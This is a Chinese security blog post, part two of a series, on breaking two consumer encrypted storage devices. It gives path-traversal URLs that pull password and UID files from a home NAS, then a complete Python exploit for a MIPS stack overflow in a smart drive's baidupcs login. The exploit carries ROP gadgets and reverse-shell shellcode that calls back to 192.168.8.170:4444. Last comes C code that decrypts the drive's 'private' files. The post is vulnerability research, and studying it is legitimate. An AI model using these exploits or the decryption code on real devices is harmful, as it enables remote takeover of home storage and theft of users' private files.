加密设备攻防(二)- 智能设备篇

前言

随着电子信息产业的高速发展,电子产品对于各类数据处理的技术愈加强大,在为人们的工作及社交带来了许多便捷与乐趣的同时,人们在日常生活中对各类电子设备过于依赖的问题也显而易见,所以,一旦保管不当,我们存储其中的各类数据也将面临着不同程度的安全隐患。而今,人们对于数据安全性的意识越来越高,各种加密型的电子设备在我们生活中也变得越来越常见。
不过,加过密型电子设备就完全安全吗?答案显然是否定的。十九世纪初,人们开始发明各种机械加密设备对数据进行加密处理,最著名的是二战时期被法西斯同盟国之间频繁用来传递情报的轮转密码机,不过后来被盟军攻破,从一定程度上推进了法西斯的瓦解、改变了最终的战局。放眼如今,加密技术在攻防双方的不断博弈中,一直完善和改进,越来越牢靠的守护着信息时代里人们的数据安全。

在上一篇——加密设备攻防(一)中我们介绍了几种加密设备的破解思路,本文我们针对另外几种智能设备继续探讨其破解方法。

某家存储网络硬盘的漏洞

这是一款带网口的家庭存储硬盘,可以通过手机 app 进行远程管理。

加密设备攻防(二)- 智能设备篇_第1张图片

设备与客户端通信

这款硬盘使用 TUTK IOTC 平台进行 p2p 通信。接上网线后,只需要在客户端输入设备的 UID 和管理员设置的密码,就可以远程连接管理硬盘数据。TUTK IOTC平台的 p2p 建立连接后,设备向客户端发送数据的流程图如下,首先初始化 iotc 平台,随后创建 login 线程,监听客户端的连接,会话建立后,向客户端发送数据。

加密设备攻防(二)- 智能设备篇_第2张图片

而作为设备与客户端通信的进程为 p2pIotc,拖到 ida 中分析,sub_402E64 函数通过读取 /etc/config/tunnelid.dat 文件来得到设备的 UID,在函数 sub_402AF8 读取 /etc/web_pwd.txt 文件得到管理密码,用来用户登入验证。

加密设备攻防(二)- 智能设备篇_第3张图片

加密设备攻防(二)- 智能设备篇_第4张图片

隐私空间漏洞

这款硬盘还设立了隐私空间,也就是加密文件夹,加密文件后将文件移动到加密目录下。当通过app客户端成功登录硬盘时,首先 fs_httpd 进程会读取配置文件“/etc/private_dir_pwd“中的保存隐私空间的密码,用于之后打开隐私空间作密码校验。但是通过在web客户端或网络文件夹登录时访问这个隐私空间时,却形同虚设,与普通文件夹无区别。

加密设备攻防(二)- 智能设备篇_第5张图片

getFile.cgi 任意文件下载

在 /www/cgi-bin/get/ 目录下,其中有个 getFile.cgi 的 cgi 网关接口文件,在没有登入验证的情况下,内网中可直接下载硬盘的任意文件,代码如下

加密设备攻防(二)- 智能设备篇_第6张图片

在同内网中,在web浏览器中访问设备:

http://192.168.8.177/cgi-bin/get/getFile.cgi?/…/…/…/…/…/…/…/…/…/etc/config/tunnelid.dat

http://192.168.8.177/cgi-bin/get/getFile.cgi?/…/…/…/…/…/…/…/…/…/etc/web_pwd.txt

http://192.168.8.177/cgi-bin/get/getFile.cgi?/…/…/…/…/…/…/…/…/…/etc/private_dir_pwd

可直接下载配置文件 tunnelid.dat 、web_pwd.txt 和 private_dir_pwd ,用于远程登入。

加密设备攻防(二)- 智能设备篇_第7张图片

某智能加密硬盘的漏洞

这是一款可连接 wifi 且带网口的移动加密硬盘,手机可以通过 app 进行远程管理,还可以通过 app 单独设置密码加密隐私文件。

加密设备攻防(二)- 智能设备篇_第8张图片

攻击思路

加密设备攻防(二)- 智能设备篇_第9张图片

第一步:硬盘的工作原理

下载智能硬盘手机 app,登录 app 远程连接硬盘,通过路由器进行抓包,发现其由 80 端口与手机 app 通信。

加密设备攻防(二)- 智能设备篇_第10张图片

通过串口调试进入 shell,运行 netstat 命令查看系统端口进程,其中 80 端口进程为 lighttpd。分析后找到其位于/etc/lighttpd/ 目录下的配置文件 lighttpd.conf,如图 3 可以看到其中 include 包含了当前 conf.d/ 目录下的 proxy.conf 文件。

加密设备攻防(二)- 智能设备篇_第11张图片

将 proxy.conf 文件的代理服务整理如下:

url port 进程 描述
protocol.csp 81 ioos App 交互
system.csp 81 ioos 系统
netip.csp 81 ioos
sysfirm.csp 81 ioos
index.csp 81 ioos
dldlink.csp 81 ioos
error.csp 81 ioos
upload.csp 9082 上传
dlna.csp 8200 minidlna DLNA共享
control.csp 8201 control 视频音频控制
dropbox.csp 8300 dropbox云存储
baidupcs.csp 8400 baidupcs 百度网盘
p2p.csp 8212 p2p远程通信
download.csp 82 下载
.csp 8500

第二步:漏洞挖掘

将 baidupcs(百度网盘)作为测试目标,使用fuzz测试登录网盘发现了 crash。

加密设备攻防(二)- 智能设备篇_第12张图片

baidupcs 进程打印出如下信息,最终出现了 Segmentation fault 错误

加密设备攻防(二)- 智能设备篇_第13张图片

定位溢出代码

打开 ida,搜索上面打印的调试信息的关键字,如 getvaluefrom_url。

关键代码 sub_43B230 如下,0x43b5dc 处调用 get_value_from_url 函数获取 username 的值时,由于缓冲区只有 1028 字节, 在对长度未进行检查的情况下,将获取username值直接放入缓存区造成溢出。

加密设备攻防(二)- 智能设备篇_第14张图片

第三步:漏洞利用

我们需要跳转到堆栈中执行 shellcode,结合 mipsrop ida 插件,现在开始构造 rop

加密设备攻防(二)- 智能设备篇_第15张图片

先修改寄存器的值

mipsrop.find("lw $ra, ") 修改寄存器

加密设备攻防(二)- 智能设备篇_第16张图片

找到 sleep 函数的参数

mipsrop.find(“li $a0,1”) 作为 sleep 的参数 $a0 赋值,其中 $s4 做为下一个 gadget 的地址

加密设备攻防(二)- 智能设备篇_第17张图片

调用 sleep 函数

接着调用 sleep 函数刷新缓存,并在返回后执行下一个 gadget ($ra)。使用 mipsrop.tail(),准备跳转 s 1 为 s l e e p 的 地 址 , 这 里 填 充 r a 寄 存 器 , 地 址 0 x 1 E 8 A C 执 行 0 x 28 + v a r 4 ( s1 为 sleep 的地址,这里填充 ra 寄存器,地址 0x1E8AC 执行 0x28 + var_4( s1sleepra0x1E8AC0x28+var4(sp) 是将执行后 sleep 返回的地址。

加密设备攻防(二)- 智能设备篇_第18张图片

运行 shellcode

使用 mipsrop.stackfinder() 将 shellcode 的地址放入寄存器 s0

加密设备攻防(二)- 智能设备篇_第19张图片

mipsrop.find(“move t 9 , t9, t9,s0”) 跳转到 s0 去执行

加密设备攻防(二)- 智能设备篇_第20张图片

创建exploit

#!/usr/bin/env python
import sys
import string
import socket
import struct
import urllib, urllib2, httplib
 
class MIPSPayload:
    BADBYTES = [0x00]
    LITTLE = "little"
    BIG = "big"
    FILLER = "A"
    BYTES = 4
    NOP = "\x27\xE0\xFF\xFF"
 
    def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES):
        self.libase = libase
        self.shellcode = ""
        self.endianess = endianess
        self.badbytes = badbytes
 
    def Add(self, data):
        self.shellcode += data
 
    def Address(self, offset, base=None):
        if base is None:
            base = self.libase
 
        return self.ToString(base + offset)
 
    def AddAddress(self, offset, base=None):
        self.Add(self.Address(offset, base))
 
    def AddBuffer(self, size, byte=FILLER):
        self.Add(byte * size)
 
    def AddNops(self, size):
        if self.endianess == self.LITTLE:
            self.Add(self.NOP[::-1] * size)
        else:
            self.Add(self.NOP * size)
 
    def ToString(self, value, size=BYTES):
        data = ""
 
        for i in range(0, size):
            data += chr((value >> (8*i)) & 0xFF)
 
        if self.endianess != self.LITTLE:
            data = data[::-1]
 
        return data
 
    def Build(self):
        count = 0
 
        for c in self.shellcode:
            for byte in self.badbytes:
                if c == chr(byte):
                    raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte))
            count += 1
 
        return self.shellcode
 
    def Print(self, bpl=BYTES):
        i = 0
 
        for c in self.shellcode:
            if i == 4:
                print ""
                i = 0
 
            sys.stdout.write("\\x%.2X" % ord(c))
            sys.stdout.flush()
 
            if bpl > 0:
                i += 1
        print "\n"
 
class HTTP:
 
    HTTP = "http"
    HTTPS = "https"
 
    def __init__(self, host, proto=HTTP, verbose=False):
        self.host = host
        self.proto = proto
        self.verbose = verbose
 
    def Encode(self, string):
        return urllib.quote_plus(string)
 
    def Send(self, uri, headers={}, data=None, response=False):
        html = ""
 
        if uri.startswith('/'):
            c = ''
        else:
            c = '/'
 
        url = '%s://%s%s%s' % (self.proto, self.host, c, uri)
        if self.verbose:
            print url
 
        if data is not None:
            data = urllib.urlencode(data)
 
        url = url + data
        req = urllib2.Request(url, data, headers)
        # print url
        rsp = urllib2.urlopen(req)
 
        if response:
            html = rsp.read()
 
        return html
 
def makepayload(host,port):
    print '[*] prepare shellcode',
    hosts = struct.unpack(',struct.pack(',host))
    ports = struct.unpack(',struct.pack(',port))
 
    #print hosts,ports
 
    # sys_socket
    # a0: domain
    # a1: type
    # a2: protocol
    mipselshell ="\xfa\xff\x0f\x24"   # li t7,-6
    mipselshell+="\x27\x78\xe0\x01"   # nor t7,t7,zero
    mipselshell+="\xfd\xff\xe4\x21"   # addi a0,t7,-3
    mipselshell+="\xfd\xff\xe5\x21"   # addi a1,t7,-3
    mipselshell+="\xff\xff\x06\x28"   # slti a2,zero,-1
    mipselshell+="\x57\x10\x02\x24"   # li v0,4183 # sys_socket
    mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
 
    # sys_connect
    # a0: sockfd (stored on the stack)
    # a1: addr (data stored on the stack)
    # a2: addrlen
    mipselshell+="\xff\xff\xa2\xaf"   # sw v0,-1(sp)
    mipselshell+="\xff\xff\xa4\x8f"   # lw a0,-1(sp)
    mipselshell+="\xfd\xff\x0f\x34"   # li t7,0xfffd
    mipselshell+="\x27\x78\xe0\x01"   # nor t7,t7,zero
    mipselshell+="\xe2\xff\xaf\xaf"   # sw t7,-30(sp)
    mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\x0e\x3c"   # lui t6,0x1f90
    mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\xce\x35"   # ori t6,t6,0x1f90
    mipselshell+="\xe4\xff\xae\xaf"   # sw t6,-28(sp)
    mipselshell+=struct.pack('<2c',hosts[1],hosts[0]) + "\x0e\x3c"   # lui t6,0x7f01
    mipselshell+=struct.pack('<2c',hosts[3],hosts[2]) + "\xce\x35"   # ori t6,t6,0x101
    mipselshell+="\xe6\xff\xae\xaf"   # sw t6,-26(sp)
    mipselshell+="\xe2\xff\xa5\x27"   # addiu a1,sp,-30
    mipselshell+="\xef\xff\x0c\x24"   # li t4,-17
    mipselshell+="\x27\x30\x80\x01"   # nor a2,t4,zero
    mipselshell+="\x4a\x10\x02\x24"   # li v0,4170  # sys_connect
    mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
 
    # sys_dup2
    # a0: oldfd (socket)
    # a1: newfd (0, 1, 2)
    mipselshell+="\xfd\xff\x11\x24"   # li s1,-3
    mipselshell+="\x27\x88\x20\x02"   # nor s1,s1,zero
    mipselshell+="\xff\xff\xa4\x8f"   # lw a0,-1(sp)
    mipselshell+="\x21\x28\x20\x02"   # move a1,s1 # dup2_loop
    mipselshell+="\xdf\x0f\x02\x24"   # li v0,4063 # sys_dup2
    mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
    mipselshell+="\xff\xff\x10\x24"   # li s0,-1
    mipselshell+="\xff\xff\x31\x22"   # addi s1,s1,-1
    mipselshell+="\xfa\xff\x30\x16"   # bne s1,s0,68 
 
    # sys_execve
    # a0: filename (stored on the stack) "//bin/sh"
    # a1: argv "//bin/sh"
    # a2: envp (null)
    mipselshell+="\xff\xff\x06\x28"   # slti a2,zero,-1
    mipselshell+="\x62\x69\x0f\x3c"   # lui t7,0x2f2f "bi"
    mipselshell+="\x2f\x2f\xef\x35"   # ori t7,t7,0x6269 "//"
    mipselshell+="\xec\xff\xaf\xaf"   # sw t7,-20(sp)
    mipselshell+="\x73\x68\x0e\x3c"   # lui t6,0x6e2f "sh"
    mipselshell+="\x6e\x2f\xce\x35"   # ori t6,t6,0x7368 "n/"
    mipselshell+="\xf0\xff\xae\xaf"   # sw t6,-16(sp)
    mipselshell+="\xf4\xff\xa0\xaf"   # sw zero,-12(sp)
    mipselshell+="\xec\xff\xa4\x27"   # addiu a0,sp,-20
    mipselshell+="\xf8\xff\xa4\xaf"   # sw a0,-8(sp)
    mipselshell+="\xfc\xff\xa0\xaf"   # sw zero,-4(sp)
    mipselshell+="\xf8\xff\xa5\x27"   # addiu a1,sp,-8
    mipselshell+="\xab\x0f\x02\x24"   # li v0,4011 # sys_execve
    mipselshell+="\x0c\x01\x01\x01"  # syscall 0x40404
    print 'ending ...'
    return mipselshell
 
if __name__ == '__main__':
 
    libc_base = 0x77c1f000
    sip='192.168.8.170'     #reverse_tcp local_ip
    sport = 4444            #reverse_tcp local_port
 
    host = socket.ntohl(struct.unpack(',socket.inet_aton(sip))[0])
    shellcode = makepayload(host,sport)
 
    try:
        ip = sys.argv[1]
    except:
        print "Usage: %s " % sys.argv[0]
        sys.exit(1)
 
    payload = MIPSPayload(endianess="little", badbytes=[])
    payload.AddBuffer(1036)                            # fill offset = 1036
    payload.AddAddress(0x49818, base=libc_base)    # gadget 1: mipsrop.find("lw $ra, ") Modify register
    payload.AddAddress(0x0047E758)            # arg1
    payload.AddAddress(0x0047F758)            # arg2
    payload.AddAddress(0x00480758)            # arg3
    payload.AddBuffer(0xC)                                # fill
    payload.AddBuffer(0x4)                                # s0
    payload.AddAddress(0x4E320, base=libc_base)            # s1 sleep addr 0x4E320               
    payload.AddBuffer(0x4)                                # s2
    payload.AddBuffer(0x4)                                # s3
    payload.AddAddress(0x1E8AC, base=libc_base)            # s4 gadget 3: mipsrop.tail()            
    payload.AddBuffer(0x4)                                # s5
    payload.AddBuffer(0x4)                                # s6
    payload.AddBuffer(0x4)                                # s7
    payload.AddBuffer(0x4)                                # fp
    payload.AddAddress(0x4F970, base=libc_base)            # gadget 2: mipsrop.find("li $a0,1")                
    # payload.AddBuffer(0x40)                                # addiu $sp, 0x40
    payload.AddBuffer(0x1C)                                # 0x28 - 0xc = 0x1c   
    payload.AddAddress(0x4AC20, base=libc_base)            # s1 gadget 5: mipsrop.find("move $t9,$s0") 
    payload.AddBuffer(0x4)                                # s2
    payload.AddAddress(0x16BC8, base=libc_base)            # ra gadget 4: mipsrop.stackfinder()         
    payload.AddBuffer(0x4)                                # s0
    # payload.AddBuffer(0x28)
    payload.AddBuffer(0xC)                                # 0xD8 - 0xC8 => 0x10 - 0x4 = 0xC
    payload.Add(shellcode)
 
    pdata = {
        'opt'    : 'Login',
        'state'                : 'login',
        'username'            :  payload.Build()
    }
 
    try:
        HTTP(ip).Send('baidupcs.csp', data=pdata)
    except httplib.BadStatusLine:
        print "Payload delivered."
    except Exception, e:
        print "Payload delivery failed: %s" % str(e)
 

漏洞存在的原因在于,调用 getvaluefrom_url 函数时,缺少对 username 等值进行长度检查校验,而直接写入缓冲区中,导致了栈溢出。通过漏洞攻击者可直接获取到远程管理的密码,进行登入操作。

加密设备攻防(二)- 智能设备篇_第21张图片

第四步:文件加密分析

使用手机 app 进行文件加解密,然后通过路由器抓取数据包,其加解密 url path为 protocol.csp,根据前面整理的表格,其使用的端口是 81 端口。接下来分析此时监听 81 端口的所属进程 ioos。

加密设备攻防(二)- 智能设备篇_第22张图片

文件加密和解密数据包使用 wireshark 分析,再通过数据包的关键信息定位到加解密位置。

加密设备攻防(二)- 智能设备篇_第23张图片

开始调试前,我们先查看一下加密前后的文件

创建一个 test.txt 文件,并写入内容: abc

加密设备攻防(二)- 智能设备篇_第24张图片

通过硬盘 app 进行加密,key 为 123,加密后文件加上了 .enc 后缀,查看 /tmp/ioos.log 日志信息

image-20201113134703946

查看 test.txt.enc 文件,其中尾部 202cb962ac59075b964b07152d234b70 是 test.txt 加密key 123 的 md5 值(0x20字节),而前面“fe2889d36e2045f4a3d362445aaaf72e”(0x20字节)接下代码中会遇到。

加密设备攻防(二)- 智能设备篇_第25张图片

gdb + ida 动态调试

将编译 mipsel 架构 gdb 后生成的 gdbserver 拷贝到硬盘 /tmp 目录。

远程附加调试

在关键函数 sub_414260 处下断点,此函数参数一为解密文件路径,为解密key的md5值

加密设备攻防(二)- 智能设备篇_第26张图片

比较成功后,调用 stat64 返回文件信息

加密设备攻防(二)- 智能设备篇_第27张图片

判断文件字节数是否大于 2k (0x2000字节),若小于0x2000字节,则拷贝 md5 值的前 16 位

加密设备攻防(二)- 智能设备篇_第28张图片

打开文件,判断文件大小是否小于 0x41,然后移动文件指针至 0x3 字节处,也就是密文(0x3字节)后面的内容处

加密设备攻防(二)- 智能设备篇_第29张图片

加密设备攻防(二)- 智能设备篇_第30张图片

strncmp 比较密文尾部前0x20字节是否为 “fe2889d36e2045f4a3d362445aaaf72e”,查看前面的.enc 文件可知,这正是 md5 值前面的 0x20 字节。紧接着比较 md5 值。

加密设备攻防(二)- 智能设备篇_第31张图片

image-20201113134828931

调用 ftruncate64 打开的解密文件截断到指定的长度(0x3)。

加密设备攻防(二)- 智能设备篇_第32张图片

读取密文,然后调用解密函数 sub_404E28。

image-20201113134848303

加密设备攻防(二)- 智能设备篇_第33张图片

加解密函数 sub_404E28,首先建立 0x0 – 0xff 的数组,利用 md5 值前 16 位生成 0x100 位字节数组。

加密设备攻防(二)- 智能设备篇_第34张图片

然后通过生成的字节数组对文件内容进行加密或解密。

加密设备攻防(二)- 智能设备篇_第35张图片

解密成功

将上面的加解密函数其转换为 c 语言代码。

#include 
#include 
#include 
#include 
#include 
#include 
 
#define FLAG "fe2889d36e2045f4a3d362445aaaf72e"
 
// 若文件内容小于 0x2000 字节则每个字节进行加密,且 key 为 md5(key, 32) 的前 0x10 位
// 若文件内容大于 0x2000 字节则只对文件的前后各 0x1000 字节进行加密,且 key 为 md5(key, 32) 的全部 0x20 位
 
int enc_fun(char* pContent, char* pKey, uint32_t uFileLen)
{
    // 生成 0 - 0x100 数组
    uint8_t arr[0x100];
    for (uint32_t i = 0; i < 0x100; ++i)
        arr[i] = i;
    // 利用 md5值 前 16 位生成 hash 表
    uint32_t a0 = 0, t0 = 0, t2 = 0, len = 0, a1 = 0, a2 = 0, LO = 0, HI = 0;
    uint32_t v1 = (uint32_t)arr, a3 = (uint32_t)arr;
    uint32_t t1 = (uint32_t)arr + 0x100;
    while (a3 != t1) {
        a1 = pKey[a0];
        a0++;
        len = strlen(pKey);
        LO = a0 / len;
        HI = a0 % len;
        a2 = *((uint8_t*)a3);    // a3 为 arr 的首地址
        a3++;
        a1 += a2;
        a1 += t0;
        a1 &= 0xff;
        t0 = a1 & 0xff;
        a1 = v1 + a1;
        t2 = *((uint8_t*)a1);
        *((uint8_t*)a3 - 1) = t2;
        *((uint8_t*)a1) = a2;
        a1 = HI;
        a0 = a1 & 0xff;
    }
 
    // 对内容进行加密或解密
    bool isSuccessful = false;
    uint64_t v0 = 0, s1 = uFileLen;
    uint32_t s2 = (uint32_t)pContent;
    a2 = 0, a1 = 0;
    while (1)
    {
        // s1 = strlen(content);
        if (v0 < s1)
            a0 = 1;
        else
            a0 = 0;
 
        if (a0) {
            a0 = a1 + 1;
            a0 &= 0xff;
            a1 = a0 & 0xff;
            a0 = v1 + a0;
            a3 = *((uint8_t*)a0);        // *((uint8_t*)a0)
            a2 += a3;
            a2 &= 0xff;
            t0 = v1 + a2;
            t1 = *((uint8_t*)t0);
            *((uint8_t*)a0) = t1;
            *((uint8_t*)t0) = a3;
            a0 = *((uint8_t*)a0);
            t0 = s2 + v0;    // s2 为 content 的首地址,以 v0 迭代
            a3 += a0;
            a3 &= 0xff;
            a0 = *((uint8_t*)t0);
            a3 = *((uint8_t*)v1 + a3);    // *((uint8_t*)v1 + a3)
            v0++;
            a3 = a0 ^ a3;
            // seh     $v0              # 符号扩展半字
            *((uint8_t*)t0) = a3;
        }
        else {
            return true;
        }
    }
    return false;
}
 
int enc_file(char* pfilename)
{
    // 打开文件
    FILE* pFile = NULL;
//     char filename[260];
//     printf("filepath:");
//     scanf_s("%s", filename, 260);
    if (fopen_s(&pFile, pfilename, "rb") != 0) {
        printf("打开文件失败\n");
    }
 
    fseek(pFile, 0, SEEK_END);
    uint64_t Length = ftell(pFile);
 
    // 获取文件字节数
    struct _stat64 info;
    _stat64(pfilename, &info);
    uint64_t fileSize = info.st_size;
    printf("该文件一共 %lld 字节\n", fileSize);
 
    // 求出原文件字节数
    uint64_t fileLen = fileSize - 0x40;
 
    // 读取 FLAG
    char flag[0x21] = { 0 };
    fseek(pFile, fileLen, SEEK_SET);
    fread_s(flag, 0x21, 0x20, 1, pFile);
    if (strncpy_s(flag, FLAG, 0x20))
    {
        printf("格式错误\n");
        return -1;
    }
    // printf("flag: %s\n", flag);
 
    // 获取 key
    char md5[0x21] = { 0 };
    uint32_t encSize = 0;
    bool enctail = false;
 
    if (fileLen > 0x2000) {
        // 文件内容大于 0x2000 字节 读取 0x20 位key, 解密前 0x1000 字节
        fread_s(md5, 0x21, 0x20, 1, pFile);
        encSize = 0x1000;
        enctail = true;
    }
    else {
        // 文件内容小于 0x2000 字节 读取 0x10 位key, 解密所有字节
        fread_s(md5, 0x21, 0x10, 1, pFile);
        encSize = fileLen;
    }
 
    printf("md5: %s\n", md5);
 
    // 读取密文
    // char content[] = "\xfa\xe3\x80";
    char* content = NULL;
    content = (char*)calloc(fileLen + 1, sizeof(char));
    if (content == NULL)//申请后判定是否申请成功
    {
        return 0;
    }
    fseek(pFile, 0, SEEK_SET);  //首先移动到文件开头再读取
    fread_s(content, fileLen + 1, fileLen, 1, pFile);
    fclose(pFile);
 
    // 调用解密函数,或解密首部 0x1000 字节
    if (!enc_fun(content, md5, encSize))
    {
        printf("解密失败\n");
        return -1;
    }
 
    // 是否需要解密尾部 0x1000 字节
    if (enctail)
    {
        // 解密尾部 0x1000 字节
        char* tailcont = content + fileLen - 0x1000;
        if (!enc_fun(tailcont, md5, encSize)) {
            printf("解密失败\n");
            return -1;
        }
    }
 
    //printf("写入新文件\n");
    int nlen = strlen(pfilename);
    pfilename[nlen - 4] = NULL;
    FILE* pfile = NULL;
    if (fopen_s(&pfile, pfilename, "wb") != 0)
    {
        printf("创建文件失败\n");
        return -1;
    }
    fwrite(content, fileLen, 1, pfile);
    fclose(pfile);
    free(content);
    printf("解密文件写入成功!!!\n\n");
 
    return 0;
}

(原创内容,转载请注明出处……)
加密设备攻防(二)- 智能设备篇_第36张图片

你可能感兴趣的:(数智安全研究院,信息安全,安全)